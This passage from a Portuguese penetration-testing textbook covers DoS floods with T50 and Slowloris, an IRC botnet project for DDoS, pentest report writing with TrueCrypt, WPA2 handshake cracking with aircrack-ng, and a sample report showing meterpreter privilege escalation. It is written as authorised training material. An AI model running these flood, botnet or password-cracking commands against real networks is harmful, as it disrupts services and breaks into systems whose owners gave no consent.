comunicação.</p><p>Exemplos: Ataques De-Auth em redes sem fio e o MAC</p><p>Flooding.</p><p>15.1 SYN Flood</p><p>O ataque de SYN Flood explora o 3-way handshake para</p><p>obter sucesso. É caracterizado por enviar um excesso de</p><p>pacotes SYN com endereços IP falsos para a máquina</p><p>vítima (etapa 1 – envio do pacote SYN). A vítima tentará</p><p>responder para cada endereço que solicitou uma</p><p>conexão (etapa 2 – SYN+ACK). Como cada IP falso nunca</p><p>fez o pedido de conexão para a vítima, esses IPs não vão</p><p>responder à vítima e esta ficará esperando o pacote ACK</p><p>(etapa 3 – término do 3-way handshake com ACK).</p><p>Enquanto o ataque é sustentado pelo atacante, a vítima</p><p>fica sobrecarregada e impossibilitada de responder a</p><p>requisições legítimas.</p><p>A figura 15.1 mostra um ataque de SYN Flood.</p><p>Figura 15.1 – Representação visual do SYN Flood.</p><p>15.1.1 T50</p><p>T50 é uma excelente ferramenta para DoS desenvolvida</p><p>pelo brasileiro Nelson Brito. Utiliza-se de diversos</p><p>protocolos para negação de serviço.</p><p>Para realizar um ataque de SYN Flood contra um</p><p>determinado IP e uma determinada porta de destino:</p><p>root@kali# t50 192.168.1.1 --flood --turbo -S --dport 80</p><p>Além da flag SYN, também é possível escolher outras</p><p>flags, como ACK, FIN, RST etc.</p><p>root@kali# t50 192.168.1.1 --flood --turbo -A</p><p>root@kali# t50 192.168.1.1 --flood --turbo -F</p><p>root@kali# t50 192.168.1.1 --flood --turbo -R</p><p>Se desejarmos selecionar uma porta de origem:</p><p>root@kali# t50 192.168.1.1 --flood --turbo -S --dport 80 --sport 666</p><p>Por padrão são enviados endereços IPs aleatórios. Caso</p><p>deseje, poderá escolher um IP de origem:</p><p>root@kali# t50 192.168.1.1 --flood --turbo -S --dport 80 --sport 666 -s</p><p>1.2.3.4</p><p>Dessa forma, a interface web do roteador ficará</p><p>inacessível enquanto durar o ataque.</p><p>Além do ataque de SYN Flood (envia um excesso de</p><p>requisições</p><p>SYN), o T50 possibilita a utilização de outros</p><p>protocolos, como o ICMP. Para enviar um excesso de ICMP</p><p>Echo Request:</p><p>root@kali# t50 192.168.1.1 --flood --turbo --protocol ICMP --icmp-type 8</p><p>De forma análoga ao TCP, para enviar um excesso de</p><p>requisições UDP:</p><p>root@kali# t50 192.168.1.1 --flood --turbo --protocol UDP --dport 53</p><p>Além desses protocolos mais básicos (como o TCP, UDP e</p><p>ICMP), o T50 opera sobre outros protocolos, como o RIP,</p><p>OSPF etc. Uma opção muito interessante é o protocolo</p><p>proprietário chamado de protocolo T50, um protocolo</p><p>com suporte a todos os protocolos do programa. Ao</p><p>utilizá-lo, são enviados todos os protocolos do T50 contra</p><p>o alvo.</p><p>root@kali# t50 --flood --turbo --protocol T50 192.168.1.1</p><p>Dica: já pensou qual o estrago que um ataque do T50 faz em uma rede</p><p>empresarial se for utilizado contra um firewall ou roteador?</p><p>15.2 Slowloris</p><p>O Slowloris é uma ferramenta para negação de serviço</p><p>que atinge servidores Apache com versões inferiores à</p><p>2.2.22. Essas versões sofrem uma vulnerabilidade que</p><p>permite ao atacante sobrecarregar um servidor</p><p>utilizando-se de pouca banda. A vulnerabilidade consiste</p><p>no fato de que o Apache não lida bem com vários socks</p><p>legítimos que são abertos e não são finalizados. Dessa</p><p>forma, enquanto o Slowloris mantém os socks abertos, o</p><p>servidor Apache fica sobrecarregado. O Slowloris pode</p><p>ser encontrado em</p><p>https://dl.packetstormsecurity.net/DoS/slowloris.pl.txt.</p><p>O leitor deve instalar o Apache v2.2.14 no Debian com a</p><p>finalidade de testes. O Apache 2.2.14 pode ser obtido em</p><p>https://archive.apache.org/dist/httpd/.</p><p>Finalize o servidor Apache no Debian:</p><p>root@debian# service apache2 stop</p><p>Faça a instalação do Apache 2.2.14:</p><p>root@debian:~/httpd-2.2.14# ./configure</p><p>root@debian:~/httpd-2.2.14# make</p><p>root@debian:~/httpd-2.2.14# make install</p><p>root@debian:~/httpd-2.2.14# ./httpd</p><p>A utilização do Slowloris é extremamente simples. É</p><p>necessário apenas selecionar a opção -dns com o DNS ou</p><p>IP do site em que se queira atacar:</p><p>root@kali# perl slowloris.pl –dns site.com.br</p><p>15.3 DDoS (Distributed Denial Of</p><p>Service)</p><p>O ataque realizado com o T50 é um típico exemplo de</p><p>um ataque de DoS, no qual uma máquina envia um</p><p>excesso de pacotes para a vítima, e, dependendo do</p><p>alvo, esse ataque pode ser pouco efetivo. Isso porque a</p><p>banda da vítima consegue processar o ataque de DoS do</p><p>atacante (conseguindo responder às requisições falsas),</p><p>e o ataque vai falhar.</p><p>Um ataque de Negação de serviço distribuído (DDoS –</p><p>Distributed Denial of Service) nada mais é do que várias</p><p>máquinas atacando o alvo, todas realizando um ataque</p><p>de DoS, normalmente pelo SYN Flood, ao mesmo tempo,</p><p>para aumentar o desempenho.</p><p>Há inúmeras formas de se realizar ataques de DDoS.</p><p>Uma das formas mais simples e convencionais é</p><p>utilizando servidores IRC.</p><p>Primeiro, o atacante infecta de alguma forma (exploit,</p><p>vírus etc.) as máquinas que vão participar do ataque</p><p>DDoS. Essas máquinas são chamadas de Zombie ou</p><p>Bots, pois agem como um zumbi esperando por ordens</p><p>(comandos), e as redes de máquinas infectadas (Bots)</p><p>são chamadas de redes Botnets.</p><p>O atacante fará com que as máquinas zumbis conectem-</p><p>se em redes IRC (mestre) para iniciar o ataque. Um</p><p>mestre fica no controle de inúmeros zumbis e será ele</p><p>quem dará as ordens aos zumbis.</p><p>Uma vez que os zumbis conectaram-se às redes mestres</p><p>(IRC), o atacante envia um parâmetro para iniciar o</p><p>ataque de DoS. As máquinas zumbis recebem esse</p><p>parâmetro, interpretam-no e iniciam o ataque de DoS</p><p>contra o alvo específico.</p><p>A qualquer momento o atacante envia um sinal ao</p><p>mestre que o repassa aos zumbis, indicando o término do</p><p>ataque.</p><p>Uma rede botnet é mostrada na figura 15.2.</p><p>Figura 15.2 – Rede botnet para ataques DDoS.</p><p>Fonte: http://www.ids-</p><p>sax2.com/articles/PreventDosAttacks.htm.</p><p>15.4 Projeto Perl-Bot</p><p>Esta seção é creditada ao Igor de Lorenzi Andrade, que</p><p>fez o projeto da Bot para mim (Obrigado, Igor ;-) )</p><p>O Perl-Bot é um projeto de uma bot que roda em</p><p>qualquer computador que tenha o Perl instalado. Nesse</p><p>projeto foram testados os sistemas operacionais</p><p>Windows e Linux. Apresenta código-fonte aberto (licença</p><p>GNU GPL) para estudo, modificações e adaptações, e</p><p>está disponível em</p><p>http://github.com/danielhnmoreno/perl-bot.</p><p>O projeto Perl-Bot tem a finalidade de estudo do</p><p>funcionamento de uma IRC Botnet.</p><p>• Ajuste o código da Perl-Bot para conectar-se à sala</p><p>mIRC preferencial. (Master)</p><p>• Ajuste no código quem será a vítima e a sua porta.</p><p>Por padrão está configurado como sendo o IP</p><p>192.168.1.1 e a porta 80.</p><p>• Execute o código da bot em um sistema Windows</p><p>(necessário Active-Perl) ou Linux. (Zombie)</p><p>• Para iniciar o ataque, digite no cliente de IRC</p><p>(mIRC)!udp</p><p>• Para finalizar o ataque, digite no cliente de IRC(mIRC)</p><p>!stop</p><p>A figura 15.3 mostra a rede botnet realizando um ataque</p><p>de DDoS.</p><p>Figura 15.3 – Botnet em ataque.</p><p>CAPÍTULO 16</p><p>Documentação técnica</p><p>Uma vez realizado o teste de intrusão, deverá ser</p><p>entregue ao cliente a documentação das</p><p>vulnerabilidades encontradas durante esse teste.</p><p>Também é de extrema importância relatar e explicar</p><p>como adotar medidas preventivas para que um atacante</p><p>não consiga acesso à rede.</p><p>Fornecer um relatório técnico ao cliente é importante do</p><p>ponto de vista ético e judicial, considerando que todas as</p><p>vulnerabilidades testadas e encontradas serão expostas</p><p>na documentação técnica.</p><p>Lembre-se de que toda a documentação é necessária,</p><p>pois um pequeno erro (como falta de documentação)</p><p>vindo da parte do auditor poderá ter consequências</p><p>jurídicas.</p><p>Será necessário assinar um contrato de lei em que o</p><p>cliente autoriza o teste de intrusão em suas máquinas,</p><p>uma vez que a invasão de máquinas configura em crime</p><p>regido pela legislação brasileira com detenção da pessoa</p><p>que realizou o ato.</p><p>No contrato deve ser especificado exatamente tudo o</p><p>que o auditor fará, para que ambos, o auditor e o cliente,</p><p>não tenham problemas com a legislação brasileira.</p><p>16.1 Tipos de relatórios</p><p>Depois de analisada cada etapa e enumerada cada</p><p>vulnerabilidade, será montado o relatório final a ser</p><p>enviado ao cliente.</p><p>Existem três tipos de relatórios: executivo, técnico e</p><p>comercial1.</p><p>16.1.1 Relatório Executivo</p><p>Este tipo de relatório deve basicamente conter:</p><p>• Capa/Índice – Uma capa e um índice para uma</p><p>melhor apresentação final de seu relatório.</p><p>• Objetivo do teste – Por que o teste de penetração</p><p>está sendo realizado? Quais são os objetivos a serem</p><p>alcançados? Por exemplo: obtenção da senha do site,</p><p>apenas um teste de rede sem fio com obtenção da</p><p>senha, ou mesmo a instalação de vírus e</p><p>disseminação de spam.</p><p>• Classificação das vulnerabilidades – Uma seção</p><p>informando os níveis de risco das vulnerabilidades</p><p>encontradas para cada máquina.</p><p>• Sumário executivo – Descreve a metodologia usada</p><p>para o cenário de pentest, quais os testes que serão</p><p>realizados e uma pequena amostra do que foi</p><p>conseguido.</p><p>16.1.2 Relatório técnico</p><p>O relatório técnico é o principal relatório para a descrição</p><p>de vulnerabilidades, detalhando minuciosamente o</p><p>ataque, quais ferramentas usadas e resultados obtidos.</p><p>Fazer esse detalhamento é extremamente importante,</p><p>pois você vai alertar o cliente sobre quais as ferramentas</p><p>utilizadas, qual o resultado daquela ferramenta etc. Deve</p><p>conter:</p><p>• Mapemamento das vulnerabilidades –</p><p>Vulnerabilidades encontradas junto do seu grau de</p><p>risco. Pode ser feito em forma descritiva ou em forma</p><p>de gráficos (opcional, pois o detalhamento das</p><p>vulnerabilidades deve ser feito na descrição do</p><p>ataque).</p><p>• Mapeamento dos exploits – Lista dos exploits</p><p>utilizados com sucesso (opcional, pois o detalhamento</p><p>dos exploits deve ser feito na descrição do ataque).</p><p>• Narrativa do ataque – Fundamentalmente é o</p><p>relatório técnico. Na descrição do ataque, deve-se</p><p>descrever detalhamente uma narrativa/história para</p><p>cada erro encontrado. Primordialmente, as</p><p>ferramentas utilizadas e o nível de impacto dessas</p><p>vulnerabilidades devem ser descritos. A descrição das</p><p>vulnerabilidades</p><p>encontradas não é uma aula de</p><p>pentest ao cliente, não é necessário dar um “how to”</p><p>ou ensiná-lo a usar a ferramenta, no que muito</p><p>provavelmente ele nem esteja interessado, pois, se</p><p>tivesse, ele mesmo faria o pentest, e não o</p><p>contrataria. Mas descrever de maneira bem sucinta o</p><p>“modus operante” da ferramenta é crucial para alertar</p><p>o cliente de como ela funciona.</p><p>• Práticas de segurança (hardening) – Deve conter</p><p>medidas para assegurar os pilares da segurança da</p><p>informação e proteção digital dos dados.</p><p>16.1.3 Relatório comercial</p><p>O relatório comercial fundamentalmente deverá</p><p>relacionar as máquinas que foram testadas e qual o valor</p><p>de cada ativo e/ou o valor total do projeto de pentest.</p><p>16.2 Criptografando relatórios com</p><p>o Truecrypt</p><p>TrueCrypt é uma ferramenta que auxilia na criptografia</p><p>dos dados e já vem instalada no Kali Linux. Dados</p><p>sigilosos como relatório de teste de intrusão devem ser</p><p>criptografados com o TrueCrypt, pois mesmo que se</p><p>perca o HD ou o pendrive, os dados serão ilegíveis.</p><p>16.2.1 Criando um arquivo criptografado</p><p>1. Crie um volume novo no botão Create Volume (Figura</p><p>16.1).</p><p>Figura 16.1 – Crie um novo volume.</p><p>2. Para se criar um arquivo criptografado escolha a</p><p>opção Create an encrypted volume.</p><p>Para criar um pendrive criptografado, escolha a opção</p><p>Create a volume with partition/drive e, na próxima</p><p>tela, escolha o volume do pendrive (Figura 16.2).</p><p>Figura 16.2 – Crie uma pasta criptografada pela primeira</p><p>opção ou um pendrive criptografado na segunda opção.</p><p>3. Escolha a opção Standard TrueCrypt volume, para</p><p>apenas criar um volume criptografado.</p><p>O TrueCrypt também possibilita a criação de um volume</p><p>criptografado e escondido com a opção Hidden</p><p>TrueCrypt volume, conforme mostra a figura 16.3.</p><p>Figura 16.3 – Crie um volume normal.</p><p>4. Escolha o lugar em que será salvo o nosso volume</p><p>criptografado. No exemplo será criado um arquivo de</p><p>nome “criptografado” em /root/Desktop/, conforme</p><p>mostra a figura 16.4.</p><p>Figura 16.4 – Localização do arquivo criptografado que</p><p>será salvo.</p><p>5. Escolha o tipo de criptografia a se usada no</p><p>TrueCrypt. Particularmente gosto da criptografia AES.</p><p>A figura 16.5 ilustra o processo.</p><p>Figura 16.5 – Algoritmo criptográfico a ser utilizado.</p><p>6. Escolha o tamanho máximo do volume. Na figura</p><p>16.6, arquivos acima de 1MB não serão copiados para</p><p>o nosso volume criptografado.</p><p>7. Defina a senha. Nesse momento, a escolha de uma</p><p>senha difícil é crucial, pois será ela que vai</p><p>criptografar e descriptografar o nosso volume. Na</p><p>figura 16.7 foi utilizada a senha “senha” apenas para</p><p>testes.</p><p>Figura 16.6 – Tamanho do slot criptografado.</p><p>Figura 16.7 – Defina uma senha forte, com letras,</p><p>números, dígitos e caracteres. Senhas fracas são</p><p>facilmente decifráveis.</p><p>Ao ser selecionada uma senha simples, o próprio</p><p>TrueCrypt exibe uma alerta sobre o perigo de senhas</p><p>simples. Como estamos realizando um teste, continue</p><p>com a execução do software sem maiores problemas,</p><p>escolhendo o botão Yes (Figura 16.8).</p><p>8. Escolha o tipo de volume que será criado. FAT indica</p><p>que o arquivo poderá ser lido em sistemas Windows</p><p>(além do Linux). Sistemas ext2, ext3, ext4 somente</p><p>podem ser lidos pelo Linux. Por praticidade, escolherei</p><p>o tipo FAT, levando em consideração que a máquina</p><p>que vai receber os dados é uma máquina Windows</p><p>(Figura 16.9).</p><p>Figura 16.8 – Continue com a execução do TrueCrypt.</p><p>Figura 16.9 – Tipo de sistema de arquivo que será criado</p><p>no slot criptografado.</p><p>9. O volume a ser criado deve ser formatado. De acordo</p><p>com o próprio TrueCrypt essa etapa é extremamente</p><p>importante, pois é o que vai definir a força da sua</p><p>senha. Seguindo a orientação do programa: “Mova o</p><p>seu mouse o mais randomicamente possível, dentro</p><p>desta janela. Quanto mais movê-lo, melhor. Isso</p><p>aumenta significativamente a força criptográfica das</p><p>chaves de encriptação. Então, clique em Format para</p><p>criar o volume” (Figura 16.10).</p><p>10. O volume foi corretamente criado. Saia dessa tela</p><p>pressionando o botão Exit (Figura 16.11).</p><p>Figura 16.10 – Mova randomicamente o mouse para</p><p>aumentar a segurança criptográfica.</p><p>Figura 16.11 – O volume foi corretamente criado.</p><p>11. Voltando à tela principal, selecione um slot vazio.</p><p>Na figura 16.12 há 12 slots que não estão sendo</p><p>utilizados. Foi selecionado o primeiro slot.</p><p>Selecione o arquivo em Select File. No exemplo, o</p><p>arquivo é /root/Desktop/criptografado.</p><p>Selecione a opção de Mount para montar e visualizar o</p><p>volume criptografado.</p><p>Figura 16.12 – O arquivo criptografado foi criado com</p><p>sucesso. Para “ler” o seu conteúdo é necessário montá-</p><p>lo.</p><p>12. Digite a senha definida pela etapa 7 (Figura 16.13).</p><p>Figura 16.13 – Digite a senha do volume criptografado.</p><p>13. Com o volume montado, é possível visualizar o seu</p><p>conteúdo e arrastar o nosso relatório de pentest para</p><p>dentro do volume “truecrypt1” (volume</p><p>/root/Desktop/criptografado), conforme mostra a figura</p><p>16.14.</p><p>Figura 16.14 – O relatório de pentest pode ser inserido</p><p>dentro do volume criptografado.</p><p>14. Quando o arquivo for desmontado (opção</p><p>Dismount), o conteúdo do volume</p><p>/root/Desktop/criptografado será totalmente</p><p>criptografado e humanamente ilegível, conforme</p><p>mostra a figura 16.15.</p><p>Figura 16.15 – Desmonte sempre o slot para que este</p><p>não fique legível.</p><p>Para que seja possível visualizar novamente o conteúdo</p><p>dentro de /root/Desktop/criptografado, as etapas11,</p><p>12,13 e 14 devem ser repetidas.</p><p>16.2.2 Criando um pendrive criptografado</p><p>Para criar um pendrive criptografado será necessário um</p><p>pendrive sem nenhum tipo de dado, isso porque, durante</p><p>a criação do pendrive criptografado, o Truecrypt formata</p><p>o pendrive com o sistema de criptografia escolhido.</p><p>1. Crie um volume novo, conforme mostra a figura 16.1.</p><p>2. Para criar um pendrive criptografado, escolha a</p><p>opção Create a volume with partition/drive.</p><p>3. Da mesma forma que arquivos, pendrives</p><p>criptografados podem ser criados de forma</p><p>convencional ou escondida, selecione a opção</p><p>Standard TrueCrypt volume (Figura 16.16).</p><p>Figura 16.16 – Selecione a opção Standard TrueCrypt</p><p>volume.</p><p>Selecione o dispositivo pendrive a ser criptografado pela</p><p>opção Select Device, conforme mostra a figura 16.17.</p><p>Certifique-se de que esse dispositivo realmente é o seu</p><p>pendrive. Lembrando que todos os dispositivos serão</p><p>mostrados nessa tela. Então, se for escolhido o HD, todo</p><p>o HD será formatado, e seus dados serão perdidos. Há</p><p>vários comandos que possibilitam o usuário checar o</p><p>pendrive, como o fdisk, blkid, lsblk etc. Normalmente, o</p><p>pendrive é montado como sendo o dispositivo /dev/sdb1.</p><p>Verifique com o comando lsblk (o dispositivo pendrive é</p><p>montado em /media).</p><p>root@kali# lsblk -f</p><p>Figura 16.17 – Selecione o pendrive a ser criptografado.</p><p>O restante do procedimento é idêntico à criação de um</p><p>arquivo criptografado.</p><p>Para montar um pendrive criptografado, clique em Select</p><p>Device e depois no botão Mount, conforme mostra a</p><p>figura 16.18.</p><p>Figura 16.18 – Selecione o pendrive a ser montado.</p><p>1 Os três modelos foram propostos por Shakeel Ali e Tedi Heriyanto, autores</p><p>do livro Backtrack 4: Assuring Security by Penetration Testing. (p. 323 e</p><p>325.) A escrita de um relatório não segue um passo a passo rigoroso, mas</p><p>deve fundamentalmente alertar o seu cliente sobre as falhas encontradas</p><p>e proteger o seu cliente de ataques digitais.</p><p>CAPÍTULO 17</p><p>Pentest em redes sem fio</p><p>Para complementarmos o estudo sobre pentest em redes</p><p>de computadores, será realizado um laboratório sobre</p><p>pentest em redes sem fio, lembrando que esse</p><p>laboratório não cobre todos os aspectos de um wireless</p><p>pentest. Um estudo mais detalhado sobre redes sem fio</p><p>deve ser abordado como um tema à parte.</p><p>A principal criptografia que será estudada é a criptografia</p><p>WPA/WPA2 Personal. O WPA (Wi-Fi Protected Access –</p><p>Acesso Protegido a Wi-Fi) permite a autenticação com</p><p>base em EAP (usando o Radius) ou PSK (Pre-shared Key).</p><p>Uma autenticação WPA/WPA2 PSK ocorre por meio do 4-</p><p>way handshake, mostrado na figura 17.1.</p><p>Figura 17.1 – Processo</p><p>4-way handshake.</p><p>Fonte: http://en.wikipedia.org/wiki/IEEE_802.11i-2004.</p><p>1. O roteador (AP) envia um valor nonce (ANONCE) para</p><p>o cliente wireless (STA).</p><p>2. Com o conhecimento do ANONCE do roteador e já</p><p>sabendo o PMK (chave mestra), o cliente consegue</p><p>construir o PTK (chave temporária) e gerar o MIC. Após</p><p>esse processo, o cliente wireless envia seu próprio</p><p>valor nonce (SNonce) com o número MIC (Message</p><p>Integrity Check), um pacote de integridade gerado.</p><p>3. Com o SNONCE +MIC do cliente, o roteador cria um</p><p>novo PTK a partir dessas informações, e é gerado um</p><p>MIC, que será comparado com o MIC correto. Caso o</p><p>MIC gerado seja o mesmo que o MIC correto, significa</p><p>que o PMK é correto e o cliente pode conectar-se à</p><p>rede. Se tudo estiver OK, o roteador envia o GTK+MIC,</p><p>que é usado para descriptografar tráfego</p><p>multicast/broadcast.</p><p>4. O cliente envia uma confirmação para o roteador</p><p>(Acknowledgement).</p><p>O problema de segurança referente ao 4-way handshake</p><p>está relacionado com o fato de que o processo de</p><p>derivação de chaves pode ser reproduzido. Ou seja,</p><p>redes WPA/WPA2 PSK podem ser alvos de ataque de</p><p>dicionário de palavras.</p><p>Antes de iniciar cada laboratório, inicie o seu computador</p><p>por meio de um LiveCD do Kali Linux, isso porque</p><p>limitações na máquina virtual não permitem</p><p>experimentos com redes sem fio.</p><p>Finalize os seguintes processos no Live CD do Kali Linux:</p><p>roo@kali# killall NetworkManager</p><p>roo@kali# killall wpa_supplicant</p><p>roo@kali# killall dhclient</p><p>roo@kali# ifconfig wlan0 down</p><p>Para realizar a quebra do WPA/WPA2 PSK, primeiro</p><p>configure o roteador para a criptografia WPA/WPA2 PSK,</p><p>conforme mostra a figura 17.2.</p><p>Figura 17.2 – Configure o roteador para o sistema de</p><p>criptografia WPA2 Personal.</p><p>Inicie o programa Airmon-ng para criar uma interface</p><p>virtual (mon0) que será usada para os testes de intrusão</p><p>em redes sem fio:</p><p>root@kali# airmong-ng start wlan0</p><p>Digite ifconfig no terminal para confirmar que a interface</p><p>em modo monitor mon0 foi criada com sucesso:</p><p>root@kali# ifconfig</p><p>Inicie a captura com o programa Airodump-ng para</p><p>visualizar as redes sem fio no alcance da placa wireless:</p><p>root@kali# airodump-ng mon0</p><p>CH 11 ][ Elapsed: 0 s ][ 2015-03-28 00:52 [ WPA handshake:</p><p>74:EA:3A:E1:E8:66 ]</p><p>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUT ESSID</p><p>74:EA:3A:E1:E8:66 -3 2 0 0 11 54e. WPA2 CCMP PSK TP-LINK_E1E866</p><p>BSSID STATION PWR Rate Lost Frames Probe</p><p>74:EA:3A:E1:E8:66 00:23:15:73:86:6C -60 0 -54 0 2</p><p>Significado dos campos:</p><p>• WPA handshake – No momento em que é capturado</p><p>o 4-way handshake de uma rede WPA/WPA2 PSK, o</p><p>Airodump-ng exibe na tela essa mensagem.</p><p>• BSSID – Endereço MAC do roteador.</p><p>• PWR – Distância física entre você e o roteador.</p><p>Quanto menor o seu módulo matemático, mais</p><p>próximo ao roteador você está. Pelo exemplo, o</p><p>módulo do PWR indica 31: muita proximidade física.</p><p>Se fosse 90, indicaria uma distância física muito alta.</p><p>Certifique-se de ter uma distância (no máximo até 70-</p><p>80) para os testes em rede sem fio. Distâncias físicas</p><p>muito grandes podem atrapalhar a realização dos</p><p>laboratórios.</p><p>• CH – Canal de transmissão de dados do roteador.</p><p>• ENC – Encriptação. WPA ou WPA2 indicam redes</p><p>WPA/WPA2.</p><p>• CIPHER – Cifra criptográfica. CCMP ou TKIP são as</p><p>duas cifras que podemos trabalhar para o laboratório.</p><p>• AUTH – Tipo de autenticação usada. PSK indica redes</p><p>com chaves pré-compartilhadas entre os usuários.</p><p>Vamos trabalhar com esse tipo de autenticação.</p><p>• ESSID – Nome da rede sem fio.</p><p>• STATION – Estações sem fio (clientes) conectadas</p><p>àquele determinado BSSID.</p><p>Interrompa a captura do Airodump-ng com Ctrl+C.</p><p>Configure a interface em modo monitor mon0 para o</p><p>mesmo canal de dados da rede sem fio em teste (no</p><p>exemplo com o Airodump-ng, a coluna CH está marcada</p><p>como 11).</p><p>root@kali# iwconfig mon0 channel 11</p><p>Reinicie a captura do Airodump-ng, porém com</p><p>parâmetros como o canal (CH 11) BSSID da rede</p><p>(74:EA:3A:E1:E8:66), e escreva a saída no arquivo</p><p>chaveWPA.</p><p>root@kali# airodump -c 11 --bssid 74:EA:3A:E1:E8:66 -w chaveWPA mon0</p><p>Autentique qualquer cliente wireless legítimo na rede</p><p>(outro computador, um celular, tablet, iPhone ou outros).</p><p>Na captura do Airodump-ng, percebe-se que foi</p><p>capturado o WPA Handshake (contém o 4-way</p><p>handshake) ao ser exibida a mensagem WPA Handshake.</p><p>CH 11 ][ Elapsed: 0 s ][ 2015-03-28 00:52 [ WPA handshake:</p><p>74:EA:3A:E1:E8:66 ]</p><p>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</p><p>74:EA:3A:E1:E8:66 -31 2 0 0 11 54e. WPA2 CCMP PSK TP-LINK_E1E866</p><p>BSSID STATION PWR Rate Lost Frames Probe</p><p>74:EA:3A:E1:E8:66 00:23:15:73:86:6C -60 0 -54 0 2</p><p>Pressione Ctrl+C para interromper a captura do</p><p>Airodump-ng.</p><p>Para realizar a quebra da senha, primeiro crie uma lista</p><p>de palavras que contenha a senha utilizada na rede sem</p><p>fio.</p><p>Utilize o programa Aircrack-ng sobre o arquivo</p><p>chaveWPA-01.cap (arquivo .cap que contém o 4-way</p><p>handshake) com a opção -w para utilizar uma lista de</p><p>palavras.</p><p>root@kali# aircrack-ng chaveWPA-01.cap -w dicionário</p><p>Aircrack-ng 1.2 beta3</p><p>[00:00:00] 100 keys tested (378.00 k/s)</p><p>KEY FOUND! [ password ]</p><p>Master Key : 5D 6E C2 8B F2 14 E1 C7 CD 50 7E 0E 30 C8 09 3A</p><p>20 72 DB E5 2B F8 FF 43 33 45 47 0F DB 8D 98 CB</p><p>Transient Key: 82 12 EC DD 48 3C 3B 03 E1 70 DF C4 45 90 CF D0</p><p>24 E3 04 61 39 EB F6 5F AB 49 A7 F4 F9 83 BF 2A</p><p>BD 1A 46 15 8B 3E B3 DC 72 8F 69 6D B0 99 FA 7D</p><p>21 2C F1 BB 48 54 5C 8E 65 32 14 8E 30 36 26 99</p><p>EAPOL HMAC : 18 17 43 92 57 41 B9 20 C2 73 BF 1C 84 BD D0 6D</p><p>O Aircrack-ng decifra a senha corretamente.</p><p>APÊNDICE</p><p>Relatório de pentest</p><p>Sumário</p><p>1. Sumário executivo</p><p>2. Resultados</p><p>3. Narrativa do ataque</p><p>3.1 Vulnerabilidade na rede sem fio</p><p>3.2 Vulnerabilidades no Windows 7</p><p>3.2.1 MS12_020_maxchannelids</p><p>3.2.2 Internet Explorer</p><p>necessitando, dessa forma, de desinstalação dos</p><p>módulos vulneráveis e conscientização do usuário.</p><p>• Vulnerabilidades no roteador TP-LINK:</p><p>• Grave:</p><p>Escolha de senhas fragilizadas.</p><p>• Vulnerabilidades no Windows 7:</p><p>• Baixas:</p><p>Computador online</p><p>Portas abertas</p><p>Detecção do sistema operacional</p><p>• Graves:</p><p>MS12_020_maxchannelids</p><p>Internet Explorer</p><p>192.168.1.101:49159) at 2015-10-28 13:12:50 -0200</p><p>meterpreter ></p><p>3.2.3 Escalonamento de privilégios</p><p>O escalonamento de privilégios na máquina Windows 7 é</p><p>realizado com o módulo exploit/windows/local/bypassuac.</p><p>meterpreter > getuid</p><p>Server username: PC\win7</p><p>meterpreter > getsystem</p><p>...got system (via technique 1).</p><p>meterpreter > getuid</p><p>Server username: NT AUTHORITHY\SYSTEM</p><p>O escalonamento de privilégios é necessário, pois,</p><p>quando o shell do sistema é fornecido por meio do</p><p>Meterpreter, o controle do Windows 7 é disponibilizado</p><p>com certas restrições.</p><p>Temos o acesso ao usuário nt authority\system do</p><p>Windows 7, finalizando o objetivo do teste de intrusão.</p><p>4 Contramedidas</p><p>Para cada vulnerabilidade citada na seção 3 (Narrativa do</p><p>ataque) será aplicada uma medida corretiva.</p><p>4.1 TP-LINK</p><p>A vulnerabilidade de senhas fragilizadas pode ser</p><p>corrigida por meio da implementação de uma política de</p><p>senhas seguras.</p><p>4.2 Windows 7</p><p>As vulnerabilidades relativas ao Windows podem ser</p><p>corrigidas com a adoção das seguintes medidas:</p><p>• Para as vulnerabilidades MS12_020_maxchannelids:</p><p>• Desabilite o uso do protocolo RDP.</p><p>• Se for necessária a administração remota ao</p><p>sistema, pense em utilizar outros programas como o</p><p>OpenSSH.</p><p>• Para a vulnerabilidade Internet Explorer</p><p>assword.pdf</p><p>http://www.youtube.com/watch?v=J_js6zvNNAE</p><p>http://www.guiafoca.org/cgs/guia/avancado/ch-fw-</p><p>iptables.html</p><p>http://www.vivaolinux.com.br/artigo/Tutorial-Netcat/</p><p>http://www.w3schools.com/php/php_mail.asp</p><p>http://www.exploit-db.com/bypassing-uac-with-user-</p><p>privilege-under-windows-vista7-mirror/</p><p>http://www.exploit-db.com/exploits/14723/</p><p>http://technet.microsoft.com/en-</p><p>us/security/bulletin/MS10-046</p><p>http://technet.microsoft.com/en-</p><p>us/security/bulletin/MS12-020</p><p>http://www.rapid7.com/db/modules/exploit/windows/ftp/e</p><p>asyftp_cwd_fixret</p><p>http://theinsider.deep-ice.com/texts/xss_exposed.txt</p><p>https://www.owasp.org/index.php/Testing_for_Cross_site_s</p><p>cripting</p><p>https://github.com/Veil-Framework/Veil-Evasion/</p><p>http://www.youtube.com/watch?v=uo6J1WARf5Q</p><p>http://www.offensive-security.com/penetration-testing-</p><p>sample-report.pdf</p><p>http://www.thoughtcrime.org/software/sslstrip</p><p>http://rlworkman.net/howtos/iptables/spanish/chunkyhtml</p><p>/a4189.html</p><p>http://0daysecurity.com/articles/hping3_examples.html</p><p>http://www.danielmiessler.com/study/tcpdump</p><p>http://www.youtube.com/watch?v=D4TDhGecB9A</p><p>Livros:</p><p>ALI, Shakeel; HERIYANTO, Tedi. Backtrack 4: Assuring</p><p>Security by Penetration Testing. Birmingham: Packt</p><p>Publishing, 2011.</p><p>FERREIRA, Rubem E. Linux: guia do administrador do</p><p>sistema. 2.ed. São Paulo: Novatec Editora, 2003.</p><p>GIAVAROTO, Sílvio C. R.; SANTOS, Gerson R. Backtrack</p><p>Linux: auditoria e teste de invasão em redes de</p><p>computadores. Rio de Janeiro: Editora Ciência Moderna,</p><p>2013.</p><p>KENNEDY, David; O’GORMAN, Jim; KEARNS, Devon;</p><p>AHARONI, Mati. Metasploit: The Penetration Tester’s</p><p>Guide. San Francisco: No Starch Press, 2011.</p><p>MCCLURE, Stuart; SCAMBRAY, Joel; KURTZ, George.</p><p>Hackers Expostos 7: Segredos e soluções para a</p><p>segurança de redes. 7ed. Porto Alegre: Bookman, 2014.</p><p>ULBRICH, Henrique C.; VALLE, James D. Universidade</p><p>Hacker. 2.ed. São Paulo: Digerati Books, 2003.</p><p>Pentest em redes sem fio</p><p>Moreno, Daniel</p><p>9788575226070</p><p>320 páginas</p><p>Compre agora e leia</p><p>Pentest em redes sem fio tem 